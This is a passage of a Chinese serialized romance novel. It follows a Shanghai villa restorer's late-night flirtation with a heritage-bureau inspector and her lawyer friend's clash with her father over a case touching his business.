老洋房的修缮要分不同阶段进行,就像家庭大扫除,如果先扫地、拖地而忘了擦天花板上的灰,这就把工作做多了。 更毋论老洋房这个庞然巨物,后续必然要找劳务团队帮着施工的。 所以按照流程,先把整体格局确定,再做陈旧设施修补和拆建,最后是改造和再设计。 现在陆砚和杨灵就是在第一步,以及后续的工艺、改造和设计上有分歧。 俗称哪哪都不对付。 不过那是去杨老头家之前的事。 杨灵嘛,其实人还不错的啦,工作也认真—— 今后,如果有可能的话,只要文保局还是杨灵出面......他不介意多商讨一下。 毕竟师父说的是‘按她的来吧’,那西侧回廊处置方案便按她的来,反正按别人的来是万万不妥的。 “叮!噔噔——” 大厅的老座钟适时响起,像下午最后堂课的下课铃一样,吹响了古建行业反内卷第一哨。 “陆哥,时候也差不多了,你看?” 张野掐着点下班让冯小军猛地抬起头,眼里有欣赏之色。 殊不知人这是留着时间给你‘课后辅导’呢! “走,吃饭去。” ...... 秋雨绵延到当晚仍未有止意,给大洋彼岸的导师发完邮件后,才摘下保护视力的防蓝光眼镜。 杨灵有很多习惯从孩童时期保留至今,比如看电脑要距离一臂远,坐姿要把背挺直,睡前先喝牛奶再刷牙...... 因为性格原因和国外成长环境,这些极少被知道。 或许人的内心就像这间位于中山南路的大平层,只要你有办法进来,它便一览无遗、向你敞开。 只是...... 顾南乔用一个个兔子表情包来回避问题的聊天记录赫然在目。 “啊——” 轻叹口气,隔着落地窗仿佛看见一个人站在阳台、飘摇冷风中裹紧身体、不到坚持不住偏要强撑着说‘不冷’的乔乔。 一如十岁刚到美国上学的杨灵。 还有,今天她挺委屈的。 为什么告诉陆砚却不和自己说呢? 明明我们关系才更好啊...... 还是头一回,她这么认真吃一个男人的醋。 还有陆砚,什么时候跟乔乔关系那么好了? 一个个问题从脑袋里接连蹦出来,最后都像断线风筝消失天边。 顾南乔对杨灵很重要,可是其他人不明白,包括顾南乔。 在她眼里,乔乔的事情比论文更难办、更亟待调查,但是难以找到切入点。 杨灵抱膝蜷在波丝手工地毯的褶皱里,第三次划亮手机,亦是今天第三次给顾南乔发消息。 有个声音告诉她,午间刻意扮作奇怪大姐姐的闺蜜,那时候是需要一个拥抱的。 她不知道答案,当年也没人给她答案。 只知道,要对在意之人坦率,要不遗余力对她好。 @adeline:乔乔,我有点睡不着,可以来你家睡吗? ...... 和张野他们吃完饭后,陆砚一个人回到老洋房,这趟不来他心里不踏实。 今天之前谁能想得到,那么长一条西侧回廊啊,居然是‘凑数’工程! 这片回廊为什么而修造,这片土地又埋了哪些辛秘? 下出租车,淋着小雨三两下开了铁闸门,在打老洋房大门前意外发现屋内有灯。 一拳明黄灯光隔着雨幕和彩绘玻璃,恰似广告里,熟悉而亲切地等候。 理性思索下、结果很明显,门口站定大概半分钟后,摸出了手机。 “你好吗,杨小姐。” “晚上好,陆先生。” “你没有懂我的意思,我是在问,你还好吗?” 陆砚似乎能看到屋里的人用手扶了一下眼镜然后皱起好看的眉梢。 于是期待滋生了——杨灵会用怎样的声音来向他表示不满呢? 刚认识她那阵子还是总是公事公办的口吻,万年冰山脸。 现在终于熟悉了些,肯定是要把之前错过的内容给补上啦! “......我没有很好。”她说。 夹着雨丝的夜风捎递来微凉的触感,如她的声音那样细腻,细腻中混着些微破碎感。 心,莫名揪了下。 并非男女之情,而是本能同情。 诸位想必见过两个月的小狗,刚能走路那会眼睛微微睁开、一阵风刮来身体连同身体上的绒毛都不禁颤抖—— 此刻的心疼便是这般情不自禁。 他吞咽了下,声音尽量缓和地说:“真是糟糕的一天呢,杨小姐。” “嗯。” “你现在在干嘛,冷不冷呀?” “...” “我想吃夜宵了,陪我吃一个呗。” “陆砚......你现在找我有事吗?” 熟悉的冰山回来了,杨督察,是你吗? “没事就不能找你呀......家人们!真是让人忧伤,才认识的朋友一回家就给你摆脸色,这日子还能不能过了,我们男人什么时候才能站起来!说到站起来,那就不得不细说我十七岁那年双手插兜站着上早读......” 他说,她听,这是两人第一次合作一场温馨的通话聊天。 夜幕被雨丝织成朦胧的纱,灯光隔着窗,抹开橘色的晕。 直到多年后的某个下午,陆砚独坐在老洋房台阶上弹吉他的时候,仍会深深怀念这通电话、这个夜晚。 “杨灵,我亲爱的朋友,如果你不介意我用简称,以后喊你亲爱的也没问题。” “我介意。” “好吧,那这件事以后再谈。现在当务之急是我很冷,需要你的帮助。” 初秋的雨夜,微微潮湿,不冷。 只是想见她的心热切,于是见不到的时候就感觉冷了。 “你怎么了?你撑得到我来找你吗?” 那边有笑意,反正是听不出担心,陆砚也跟着笑了起来。 “如果我撑得住,你愿意来找我吗?” 没错,这句就属于是故意挑拨了。 “嗯——,我可能会来,你能坚持吗?” 好,问题抛得好,你还拉扯上了。 起先...... 陆砚心情很好,起先他以为杨灵是那种高学历书呆子,尤其住建局会议上惊现愣头青发言的时候—— 然而这个误会现在彻底被瓦解。 人家哪是书呆子呢,明明和他对线得有来有回。 额,他现在姑且算个高手,以前只是让人觉得很呆。 他故意的! “你来与不来,我都坚持等你。” 真诚,永远是必杀技。 不管这个时代节奏有多快,不论那些技巧多精湛,他强任他强,遗憾的不是我,下次梭哈我还敢! 何况对方是杨灵,一个陆砚认为没有坏心的女人。 “......位置发我吧。事先说好,我不会去你家里的。” “我亲爱的朋友,不要想太多,有时候事情没你想的那么糟糕。” “我普通的朋友,你真的很喜欢说无用的话。” 这就怼上了?已经不是你脆弱的时刻了?真心用完就抛了? “你不是说很冷吗,告诉我位置。” 隔着门已听到桌子上收拾东西的稀疏声音,立马准备出发的姿态倒是安慰了方才、自己差点被伤害的心。 “...” 陆砚没作声,依然是故意的。 因为觉得满载而归。 一如元丰六年十月十二日夜,苏轼去寻张怀民,相与步于中庭般诗意。 只有当对方想见你的时候,遇见才值得,不是吗? “笃笃笃!” 他敲响了门。 屋内安静了一会,再响起慢慢清晰、慢慢靠近的脚步声。 “你一直在外面吗?” “那是因为你在里面啊。” “还贫呢!” 姑娘,你的训斥像撒娇你知道吗...... 印象里,杨灵只有跟顾南乔在一起的时候才会用这种语气。 “我亲爱的朋友,你真的还不开门吗?” “啪!” 穿米白色宽松衬衫的杨灵就这么水灵灵出现在门后、陆砚的视线中心。 袖口随意卷至肘部,衣摆一半掖进裤腰,象牙白高腰阔腿裤下晃荡着一双堪称艺术的腿。 “我突然不想开了。” “咳咳!” 这下丢脸丢大了,怎么就没管住眼睛呢! “下下次一定不这样了。” “陆师傅,意思就是下次还敢咯?” “嗯,作为下次的赔罪,今天请你吃关东煮。” 第二十七章 女孩子要矜持 “一到单独请我就小气了!” 杨灵脸颊气鼓鼓的,向来平静的眼睛流露嗔怪神色。 当然,这是一种审时度势下的进攻,俗称‘仗着朋友的宠爱而为所欲为’。 所以此后谁要是说这个女人不可爱,陆砚第一个不答应。 等等! 最好是除了自己以外的所有人都觉得杨灵不可爱才好,撑死白名单里再加个顾南乔。 “这个,这不是遇到黑心甲方了吗,囊中羞涩还望见谅。” “明明中午还请乔乔在‘沪粤轩’吃饭呢,结果到晚上就余额不足了呢。” 明明口气平淡的把话丢出来最有杀伤力,是谁说反问要有情绪的? 好比东大外交发言人,任你记者叽里呱啦上蹿下跳,我淡淡一句‘下一个问题’足以诛心。 对,就是这般理性且较真的思考,然后表面淡然甚至有点藐视的姿态...... 品味着她的眼神,陆砚汗流浃背了。 “那是雪中送炭给她压压惊,主要那里离她下班位置近!” “噢。” 噢?又是这招? 好吧,这招亦然奏效。 倒不是说杨灵是个爱耍小脾气的人,只是有人愿意配合你的时候,女生多少都会‘强势’一些。 陆砚几乎可以肯定: 即使跳过这茬不答,以她的性格绝不会在小本本上记他的不是,反而会因为今天的陪伴、感激他友情登场。 但这氛围都到这了,是有多不解风情才会选择不随对方的心意啊? “apple u,你要知道我们的友谊有如那滔滔江水连绵不绝,虽说这顿规格上略逊中午,但你想想,这样我才能经常请你吃饭呀!对是不对?” 杨灵世界第二好看的眼睛眨了眨,在判断陆砚说的是真是假,但心情转好这件事无疑是真的。 “难道你每次请,我都要答应吗?”为了防止陆砚误会,她小声说,“我又不是偏要吃你的饭。” 这题他熟,小朋友相互交换零食,他们只是单纯因为有零食吃而开心吗? 更多的,还是因为对方的举动代表着诚挚的心。 “明白了,以后不光请你吃饭,还请你喝奶茶、逛街,一块出去玩。”他打趣道。 “啊?” “给你买裙子帮忙拧包也不是不能考虑。” “不是的,我......” 房檐下,两人的影子显得不那么孤单,让天边半藏云后的月亮霎是羡慕,于是它弯出笑容。 关心则乱不无道理,饶是杨博士,此时亦有被短暂降智的迹象。 还有: 所谓成功的打趣,便是对方没有发现你在调侃她且迫不及待解释的时候,最有趣。 陆砚看着她的眼睛,她的眼睛映着星辰。 陆砚歪歪头,她也歪歪头,一缕不平静的发丝从耳边垂落。 “你故意逗我的是不是!” 她反应过来,还击一记轻飘飘的拍打。 这一刻,两人才真正有了‘朋友’的实感。 ...... 顾明远最爱的黄花梨棋桌倒扣茶几中央,旁边躺着瓶开封的艾雷岛威士忌,浑浊的酒液顺着罅隙滑落。 无声的沉默散落这片空间。 二楼书房门缝漏出昏黄灯光就和过去岁月一样陈旧,投在螺旋楼梯上的剪影,佝偻如风干的虾。 顾南乔今晚一直守在客厅,倘若那人不肯下来,她定要耗到底。 家丑不可外扬,尘埃尚未落定前更是一个字都不能往外蹦,是以不论杨灵怎么靠近,她都静悄悄的。 只是半死不活的自尊心就要殆尽,眼眶红肿、微微发涩,别墅里的沉默已然将事情来龙去脉吞并下肚: 夜色,混淆了是非。 话说,真要一个人不声不响处理这事吗?自古以来多少哀怨故事都是从隐瞒开始的? 国外一同生活十来年,更是早把杨灵当作家人。 如果明天她将死去那么托付终身和身后事的人一定是自己这位可爱的妹妹,所以...... 跨过羞耻和放下一切心防的顾南乔指尖划过‘@Adeline’发来的满屏消息,这字里行间的情分坚定了诉说的决心。 拨通电话,指尖有点发冷。 “乔乔?” “灵灵,你现在在哪。” 她本想说‘我想你了’,只是现在是国内,移风易俗啦......情绪有待酝酿中。 “我在吃关东煮。” 隔着落地玻璃,杨灵回头看店内的陆砚,他正偷偷用‘木剑’处刑她碗里的白萝卜。 按他的说法就是‘小姐,你碗里的白萝卜在流泪噢’。 “和陆砚在一起。” 顾南乔呼吸一窒,这个情况有点超出她的腹稿。 即使他们深夜一起也没关系,只是陆砚的存在就犹如喉咙里一粒沙子,猛地放大、成了横梗在两人之间的河。 “你们前阵子不还在吵架吗,现在关系这么好啦?” 依照往常那样调侃这位可爱的姐妹,心想应该就是自己放鸽子那回,俩人冰释前嫌的吧? 她对自家闺蜜非常了解,深夜一男一女出去吃宵夜?就连十岁的杨灵都不会做出这种‘危险’举动。 这不是A上去了又是什么? “不是啦,就是今天正好遇见了......” 人在店外,杨灵也还下意识压低了声音。 为什么呢? “心虚!” 顾南乔十分笃定地撕开了对面那个女人的借口,又好气又是祝福,还有一点不为人知的羡慕。 “灵灵我跟你说,女孩子不能太主动的,特别是你比我晚回来一年不清楚,上海男孩子一个个精得都不像样子的.....” 越听越觉得面颊发烫,杨灵出言打断:“我不是,我没有,你别想太多了。” 真是偶遇啊,可乔乔不会信...... “噢?那你老实交代,你不是不爱吃关东煮的吗?怎么这半个月三番几次都看你在吃!” “找的这几家味道好。” 好! 好好好,死丫头还嘴硬,既然你倔强,那就别怪姐姐戳穿你的倔强啦! “我讲侬是勿见黄河勿落泪额,老早侬哪能讲额啦(起先你怎么说的)?讲要吃得健康点,垃圾食品勿好碰额,高油高盐个物事要戒脱。乃侬再搭吾讲一遍(来你再跟我说一遍),快点!” 顾律师的嘴背诵小作文也是一个绝,要是叫陆砚瞧见高低就会明白为什么杨灵爱背条款、找依据了—— 如今回旋镖打到杨灵自己身上,里面每个字、每个语气都是她当时说的,所以...... 几乎用撒娇的语气跟电话那边求饶,“乔乔,我没吃多少......” “杨博士,我看你跟陆砚呆一块也是脑子瓦特了,抓重点的能力越来越不行了......算了我也不说你了,多吃点赶快长成胖子,好提前适应产后身材!” “...” 沉默有时候可以表达很多意思,顾南乔在现场一定可以明白。 因为一个红着脸还不反驳的沉默能让问题清晰明了很多。 可惜不是视频通话,顾南乔顿了一下也怕把话说重了: “好了亲爱的,刚才我是开玩笑的,你快去吃吧......其实关东煮也不算垃圾食品,偶尔吃一吃也是健康的嘛,不要多想哈~” 插科打诨几句,顾南乔那边挂了电话。 杨灵则是在外面磨蹭了会才进来。 夜风随着推拉门响动也跟了上来。 “什么电话敢耽误杨小姐这么久时间?” 一直在便利店偷瞄,陆砚按住心种好奇,故作随意道。 从开始就十分在意了,这种情绪特别是当她脸颊微红着进来的时候达到顶峰。 虽说两人是当朋友处吧,可你家异性朋友这么香,还不能有点点占有欲啦? 谁说朋友就不能进一步发展啦? “哼,你也要查我岗是不是。” 杨小姐才受了一肚子气没处发,进来撞见罪魁祸首后也是支棱起来,“我跟你说关东煮汤底加了大量磷酸盐、山梨糖醇类添加剂,难怪你今晚都没吃什么,说,你是不是想害我。” 说话间,身体又紧挨在陆砚旁边坐下,杏眼无辜看向他,像故意出难题的老师在等最期待的学生答卷。 陆砚心道,今晚没吃什么是因为你陆哥才吃完一顿! 小娘子真是不识好人心! 他托住下巴,还是比较关心刚才是谁的电话能让杨小姐红着脸回来,电话里的关系决定了之后讲话的内容。 不然呢?要人家真有喜欢的人咱干嘛还上赶着去撩拨? 真当帅哥是大白菜呀? “哎呀你真是,总不能刚刚别的男人冲你查岗,你反手就把我夹火上烤吧?亏我还好心陪你吃夜宵,仅一个电话前后就判若两人,真是流水的朋友、铁打的男友——” “你别乱说,是乔乔打来的!” 这种不需要多少情商就能堪破的试探自然好懂,何况陆砚压根没打算藏。 但对方没有犹豫,赶快解释道。 只因为...... 如果将心比心的话,她也希望未来另一半不要在这种时候戏弄她、要第一时间解释清楚。 “噢~那就说得通了。” 嘿!是我的异性好兄弟那就放心了。 随即精神一振,陆砚把椅子拖近至彼此手贴着手的位置,要确真感受对方传来的热度才罢休。 “杨小姐你刚出校园不太了解,‘风骚律师’你看过不?做这一行的最擅长黑白颠倒、凭空诬陷,他们的话信一半最多了。” “乔乔不会骗我,你别在这挑拨离间!” 杨灵这次勇敢地、没有避开视线,甚至可以清晰感知到对方呼出的气息和身上缠绵的幽香。 细嗅能发觉女人香中混着一丝奶香,据说,他小时候也会有这种味道。 动作慢了下来,说话也慢了下来,每个间隔都可以插入一个音符,但两颗心之间是充盈的。 如果以她身上的味道制成一款香水的话,那么前调如骤雨初歇的竹林,幽冷清新; 中调缓缓绽放,细嗅有保加利亚玫瑰与白牡丹在氤氲水汽中舒展花瓣; 尾调如牛奶浸泡过的陈年檀木,沉稳而悠长,让陆砚内心获得宁静与温暖。 从睫毛微颤到唇瓣翕动,它们藏着少女的心事,而少女的心思是藏不住的。 月光般的灯下...... 你脸红了噢。 “但我会骗你,所以你猜猜,我要骗你什么?” 时间恢复正常流动,陆砚以强大的意志力守住心神。 君子动口不动手,大城市执法效率不是开玩笑的。 “我不猜,骗人是不对的。” 她轻轻挪过眼睛,两人的肩膀还是靠在一起,没有半分离开的迹象。 “杨小姐,如果哪天我说我不喜欢你,请你相信那肯定是谎言。” 第二十八章 笨蛋女人 对方的情绪从不是无主的云,而是被你掌心纹路牵引的纸鸢。 这一刻陆砚看到了这句话的具象: 她先是肩膀一颤,随后肉眼可见的速度,羞红从耳朵蔓延脸颊,胸膛急促吞吐着周边的空气,像一只脱水的鱼,剧烈而沉默。 她应该是喜欢我的,陆砚心想。 仅管学生时代被冠以象征不解风情的‘书呆子’称号的他,居然也有三言两语牵动对方心神的一天。 要么这个女人纯情得可怕,要么段位高得吓人,段位一般般高的他几乎可以All in——对方属于前者。 倘若判断失误,那也认了! 一个美好的女子是男子最好的补药,忘了是谁说的了,陆砚深感认同。 这个各方面都优秀到人心尖尖上的女人,或许真能治愈他的心,覆盖上段感情留下的疮痍和苦痛! “陆先生是在表白吗?” 她细弱的声音随风飘散,叫人不确定究竟说了没有。 是在表白吗?是。 是对方以为的那种表白吗? 陆砚觉得自己有点卑劣,方才他冲动上了头,只想着肮脏的挑逗,而非真心实意去表露。 ‘如果哪天我说我不喜欢你,请你相信那肯定是谎言’ 自己真的喜欢她吗?是觊觎她诱人的身体,还是几次接触下来对方所表现的品行? 她的过往、她的圈子、她的喜好、她的理想......都一概不知! 这个笨女人,刚才不是挺会拉扯吗? 平a你交什么大招啊! “当然是啊,从今天开始你就是我亲爱的朋友了,虽然不至于每天说一句‘喜欢你’,不过这是第一次,让你知道我对你有多喜欢还是有必要的。” 在心底叹口气。 算完了。 话语再怎么暧昧也是间接否认了两者关系向情侣发展的意图。 他还做不到只有情欲占主导的前提下与这位无暇的女士交往。 煮熟的鸭子飞了吧? “噢。” 扭过来,她悄悄看了一眼,又忙把头转开,深夜的晚霞在脸上还不曾消退,温柔又小声地说: “那我是不是也要对你说‘喜欢’。” 这次轮到陆砚呼吸一窒。 心动,是一个人的锣鼓喧天。 玩脱了—— ...... 林晚声把耳麦从鬓角摘落,混响器炸开细微电流,像蚂蚁啃噬寂静的空气。 歌词她唱了好几遍,是酸的。 颜朵的婚礼主题定了,‘自由的爱’,据说取自陈禹的灵感。 爱如蝴蝶,越紧握越褪色;自由共生、温柔守望...... 这个立意她很喜欢,连带对婚姻的渴望此刻亦到达一个新高度。 这些年她迷茫过,挣脱过,然后被时光裹挟着走了一段、几乎实现了曾经的理想。 直到现在回头时,才发觉错过了多少。 再次回到上海,本以为一切都还来得及。 不曾想事实竟如此爱捉弄,现在她又迷茫了...... ...... 从杨灵那辆樱花粉Taycan下车后,陆砚叫住了她: “后天,”不对,现在已经过了十二点了,“明天你有空吗?” “有......不是!我是说,”杨灵思衬了一瞬,说:“明天老洋房正式解封,我肯定有空。” “那要不要那天晚上来我家吃饭。” 顾南乔的话还历历在目,‘女孩子不能太主动’云云,杨灵看着陆砚一时有些呆呆的。 为了不必要的误会,他又说道:“上次你不是当过我一次女朋友嘛......这次还得请你帮忙。” “林晚声也要来?”回话很快。 “不,是我爸要来。” “...” 看着酷炫的尾灯渐渐隐于夜色,陆砚搞不清楚对方是答应了还是没答应,决定待会洗完澡再问问她。 也不用担心太迟了会不会打扰对方、深夜给异性发消息会不会不好之类的问题了。 男人还是自信点,她就是喜欢我! 即使陆砚不打算仗着对方的喜欢为所欲为,但是发条消息总不至于引发反感吧? 杨灵......杨灵...... 这个被林晚声评价为‘是他会一见钟情的类型’的女人,其实晚上给她发消息,受影响最大的是自己才对! 天幕下不知遮盖了多少心事。 当陆砚边哼着歌边冲澡时,静安别墅区这边终于等来了一场严峻得不像父女的谈话。 “你老子活这把岁数了,还没见过这么正义的律师。”顾明远摘下老花镜慢条斯理的说,“你要大义灭亲啊,乔乔。” “我哪里知道那个搞建材的跟你有生意往来嘛,现在一审判决都要下来了,你要我当庭改口去做伪证我也办不到啊......” 顾南乔不复往日热情洋溢,用沙哑的音色讲,“那时候那个王总还喊人在小区门口蹲我,三四个人就那么杵在我后头,你怎么不说他们是你的生意伙伴!” 又想到前天堵在律所门口的三辆大卡车,本就发肿的眼眶又有酸涩的感觉。 这是本能的,一个女儿面对自己父亲、委屈时感到想哭。 “乔乔,都是误会,他们也不知道你是我女儿。总之过去的事情我们先不聊,过了这个关卡我保证帮你把该算的账算清。” 顾明远换了个坐姿,挺直腰背严肃道: “但是现在他们查清楚了。要是我的女儿把我的生意后方送进去,你爸的声誉怎么挽回?你又不是不知道传统行业在跳水,这么大的资金链运转,全靠我多年声誉担着在。” “那我怎么办,律师这行就不要声誉担着了?我读了那么多年书说不干就不干了?”顾南乔无不气愤地说。 都是靠信誉吃饭,我没犯错还倒要上赶着去承认啦? 对面男人叹气,忍着没把心里话说出来,‘你当你安稳成长的环境外边是谁在这个你认为恶心的世界为你担下风雨’。 他不知道自己的女儿什么时候可以放下那些无聊的‘仁义道德’,在那天以前,局面坚决不能交由她主导。 虽自知愧对于她,但眼下境况之严峻,是牵一发而动全身的大局崩塌! “乔乔!事分轻重缓急,我们的事业不是一个体量级的,难不成我还会害你、难不成我的以后不都是你的?” 此句无数家庭里流传的话终于还是在这栋空旷的别墅响起。 自顾明远带着小三、小四还有数不清的年轻女人回家之后,这一刻是她最伤心的时候。 是,你的事业重,我再怎么努力也和你不是一个量级的。 你只要说话稍微重一点,那时候我就惶恐得一星期睡不好觉,直到现在,跟你说话还是会忍不住落泪。 在你这里我永远是未满十八岁、被你死死拿住监护权的女孩,永远是可以事后再考虑的亲、生、女、儿! “既然我们不是一个体量的,那就不要互相干涉了。只要你的生意做得清清白白,自然可以万事不求人。” 说完,顾南乔无心再留,提包走人。 没有听到顾明远的挽留,就这样一个人,无边的夜色接纳了她。 ...... 墨斗先生:到家了吗?一个人回家要养成主动报备的习惯!(熊猫人窥视.jpg) @Adeline:(小兔子收到.jpg) 陆砚没有选择群聊,毕竟顾南乔这时候说不准早就睡了。 何况,此时他们之间氛围拉满,还有私货要聊。 “喂?陆砚。” “杨小姐,是我。你睡下了吗?” “嗯。”杨灵翻身将一个半身长的鲨鱼娃娃抱在怀里,做完护理的脸上皮肤嫩得出水,“你睡下了吗?” 陆砚从‘确认对方喜欢自己’这件事之后,心跳就没有安分过。 额......或者说春心复萌。 尽管有小概率对方也和他一样,是突然‘暧昧上头’。 但不管了。 “我也睡下了,要听故事吗?” “陆先生,你还有别的女性朋友吗?” 你是只对我这样,还是对别的姑娘都这样? “有啊。” “...” “...” 静谧的空气在电话两端蔓延。 陆砚感受着跳跃的心,有意沉默! “是......乔乔吗?” 不连贯中透露着小心翼翼,就像蝴蝶轻轻落在花瓣上。 “是啊,目前异性朋友就你们俩了。” 他不准备提起颜朵和林晚声,在小事上不较真才能促成主旋律的和谐。 再说了,这个层级的问题,事后解释也很方便。 “那你为什么不给乔乔讲故事。”杨灵问。 这个问题听起来很傻: 1.因为我在给你打电话,所以要挑好听的说。 2.顾南乔今晚压根没在场,要说也没机会。 3.我给她讲故事你怎么会知道呢。 4.作为朋友你是不是问太多了。 5...... 当然,这类很傻的问题背后往往都是一颗刻意又笨拙的心。 还记得那个明明胆子很大,但在某些时刻突然变得胆小的女孩吗?两者是如此相似。 再者说,人家女孩子想听一些你哄她开心的话怎么了? 反正不要钱,说几斤好听的话让俩人都乐呵一下怎么了? 噢,你没耐心啊,那就是不爱了。 “因为她不是你啊。” 那边似乎有翻身的响动,陆砚赶紧问,“你现在在做什么?” 杨灵语速轻快,“唔......陆先生晚上睡觉喝牛奶吗?我知道有个牌子对睡眠非常好,明天给你带过来......” 他甚至可以想象上下嘴唇闭合的微妙弧度。 得。 还准备问她明天来不来,会不会给她添麻烦之类的,没曾想人家都进入下一个问题了。 不得不说,从坦率程度来看,确实不同于国内的风气。 他很喜欢。 “杨小姐,每天睡前都喝牛奶吗?” 说出这句话,是用一种很轻、很柔和的嗓音,要被张野听到了肯定会直呼恶心! “嗯,从小时候到现在每天都喝。” 她的声音也很温柔,像今晚的月亮。 “你小时候什么样子?有照片吗?” “我小时候......” 不知不觉话题就偏了,不过若是两人都乐在其中的话,那也不算偏。 第二十九章 暧昧之后 雨点子噼里啪啦砸在老洋房身上,将昨晚情景冲得很淡很淡。 暧昧冲动后,心又恢复平常。 陆砚提着两份早餐坐到客厅八仙桌,手指在手机屏上划拉。 顾南乔半夜发的朋友圈照片里,律所招牌在雨里泡得发白,配了句‘有些事儿就像漏水屋顶,越补窟窿越大’。 瞧瞧这似是而非的比喻,一看就没正儿八经补过屋顶窟窿。 不过要真有那天,她上屋顶之前会不会脱下犹如焊死在脚上的高跟鞋呢? 在安静的早上他发现了笑点,于是点赞。 屋内光线暗沉,门外风雨飘摇,他撑着下巴等那个系鞋带都费劲的女人,觉得时间好漫长。 话说她不是MIT博士吗,怎么经常给人一种不靠谱的感觉。 还没有了解她的爱好,平时一个人怎么安排,爱吃什么不爱吃什么...... 虽然他们只是朋友,但更深入了解对方也是朋友的义务,对吧? 8:55。 一边想着,杨灵收伞进屋。 今天难得穿了件雾蓝针织衫,仿佛携着明媚春光而来。 等等! ‘春光’不是巧合,对方今天画了淡妆。 “呦,杨博士今天走学院风啊?” 陆砚把豆浆杯推到她面前,俩人已经可以自然接受这一行为,毕竟怎么想都还是深夜火锅尺度更大一些吧。 “上回见你穿这么软乎,还是在上次。”他说。 所谓上次自然是子虚乌有的,但昨晚以后,更加躁动的心是真的。 得找个时间看看她的相册。 “总比某人强,半个月不换工装,袖口磨成流苏了。” 杨灵如往常那样为了回击而回击,表情一丝不苟。 嗯,现在是杨督察。 “这叫匠人风范!大学那会儿我穿破洞牛仔裤去答辩,教授差点以为丐帮入侵建筑系。” “咦——” 微风吹乱秋水,她小脸皱了皱,却是为了掩盖眼中的笑。 现在是杨小姐。 陆砚咬了口粢饭团,随即图穷匕见:“你读书那会是不是顶个蘑菇头,抱着计算器蹲实验室那种?” 读书那会追你的人多不多?谈没谈过恋爱? 你平时喜欢做什么?下次有空要不要一起出去玩? 沙沙的雨给房间抹上静悄悄的氛围。 杨灵小嘴一瘪但不开口,低头捧着豆浆,似乎透露着她的过往没有外人想象中那么光艳照人。 该不会受过情伤吧?! “吃一口嘛,专门给你带的。” 把另一份粢饭团递到面前,顺势人也靠在她身边。 两人距离不超过一拳,据心理学说这样会给人安慰。 当然,如果这点被人辟谣,他再找别的理由贴上去。 男未婚女未嫁的事,心理学少管! “陆砚,以后有机会再聊这个吧,我不想带着情绪工作。” 接过饭团时,她声音软软的,听起来很好欺负的样子。 把强烈的期待投射到别人身上会给双方造成不必要的压力,这往往是阻碍相恋的第一关。 虽然没有听到想听的,他也很高兴——之前那个清冷的女孩愿意透露自己脆弱的过往。 “好呀,拉钩。” 顺便摸个手。 “陆师傅!” “陆哥!” 沟槽的张野! 好死不死,张野和冯小军一前一后踏进门,像块肮脏的石头坠入湖水、惊扰了群鸟。 下次,看来下次还要再提前十分钟过来! “活还没开始呢,来这么赶?”陆砚没好气地回道。 却不想这时,一只手精准勾上自己的小拇指。 ...... 雨刮器在挡风玻璃上划出半圆,顾南乔盯着手机屏幕上父亲的未接来电,指甲在方向盘留下月牙印。 车还是父亲送的毕业礼物。 其实她知道自己没有口中那么优秀和独立...... 且不说这二十七年来天价的培养成本和人脉关照,为自己的‘优秀’提供了多少‘顺理成章’的加持? 虽说加入顶圈律所拿下了不错的业绩,但律师这个职业,特别是她这个方向的,没有资历、没用大时间成本来熬,前期压根不可能拿到养活自己的收入。 除非......自带客户资源。 她真的在犹豫吗?还是赌气成分多一点吧? 为什么对被人尾随的事顾明远不多过问,为什么看不到她对事业的重视,为什么这么明明需要她帮忙却还一副命令式的口吻? 你可知道,好多事情并非你想的利益至上,我不要你放低姿态,我愿意败坏自己的信誉、自毁前程,只要你给我相应的尊重我就会尽全力帮你...... 可是你没有,和把新认识的女人带回家,通知她从今以后这就是‘妈妈’那天一样的颐指气使。 “呼——” 长长吐气。 现在急需一个安慰的怀抱,然后狠狠吐槽一个下午,所以她又在上班时间溜号了。 老洋房的彩玻璃在雨里晕成万花筒,隔老远就瞧见那俩榆木脑袋站在门廊下。 陆砚在苏棠前面比划,工装袖口卷到手肘,晒成小麦色的手臂青筋凸起。 杨灵捧着平板站在阴影里,房檐的水滴在前面铺成珠帘,像朵出水的玉兰。 不得不说,自己闺蜜和那个臭男人从视觉上无比匹配。 该死,想磕。 噢不对,本来就可以磕。 也不对,进展是不是太快了?这男人是渣男怎么办? 等把完关以后再决定可还是不可,磕还是不磕! 她将车停在皮卡和保时捷中间时,杨灵正打着伞走进雨幕来接她。 “灵灵你真好,下辈子我做你男朋友报答你。” 杨灵浅浅笑着,把伞向那边更倾了些。 “好了好了,你头发都湿了。” 帮她把发梢的水珠抹去的同时,手顺势向下滑向腰间稳稳搂住。 熟悉的幽香经过雨水的润泽扑进鼻腔,顾南乔的心一下就安宁了。 印象里,大概是高中以后两人就没有一起搂着打伞了......有些怀念。 “快说,跟陆砚到哪一步了?” “...” ...... “陆、师、傅,眼睛都要掉进去了!”苏棠不满瞪过去,丝毫没有实习生的畏缩和客气,指责道:“门口有伞,要不你也站雨里去?” “你这孩子,尽瞎说,我等她们过来不就行了。”此时他心情不错,随意回道。 “老手艺人的匠心我今天算见识到了,跟我家阿乐一样纯粹。” 阿乐?阿乐不是我哥们吗?‘破吉他’的老板呀! 小姑娘明显后面有话等着他,那就配合一下吧,虽然后面肯定不是什么好话。 “阿乐是谁?” “一只杜宾犬。” 陆砚立马做出受伤的表情,以迎合苏棠捉弄人的心思:“呔!你这逆徒竟敢践踏师道尊严!你知不知道传统行业最看重一个人的品性和忠诚......” “陆砚,你不是在给小姑娘上课嘛?” 顾南乔终于舍得过来,身后的杨灵正在收伞,眼睛也看向他。 “顾律师这几天跑得有点勤啊,要是每次都像今天的接待规格,那可要耽误我们杨博士工作了。” 立马把苏棠抛在一边,在台阶前欣赏着两株娇美的花束。 嗯,顾南乔是娇,杨灵是美。 “陆砚你少乱嚼舌根,人家灵灵是文保局的,施工作业和带实习生又不归她上手,你少给我扣帽子!” 哦哟,小姑娘漂亮是漂亮,怎么回事今天这么大火气。 顾南乔总是一身华服,精致的五官搭配曼妙身材,说话自是神采飞扬。 两人都明白,这口吻只是和陆砚交流的正常状态罢了,好兄弟就这样。 但有人不知道。 杨灵用另一只没沾水的手拉了拉顾南乔、示意对方别生气...... “...” 这下她几乎破防,成真生气了。 才几天?俩人才见了几面?! 好你个杨小姐,胳膊肘就往外拐了? “顾乔乔,大上午发这么大脾气小心长皱纹,到时候几千块的护肤品敷脸上也不管用我看你气不气!” 关于《如何巧妙的避免和对方硬碰硬而且看起来还不会让自己显得软弱》这点,对27岁已然过了大半的陆砚来说必然是手拿把掐的。 好吧说难也不难,主要就一个公式: 转移话题加之提供槽点。 于是产生的效果就是—— 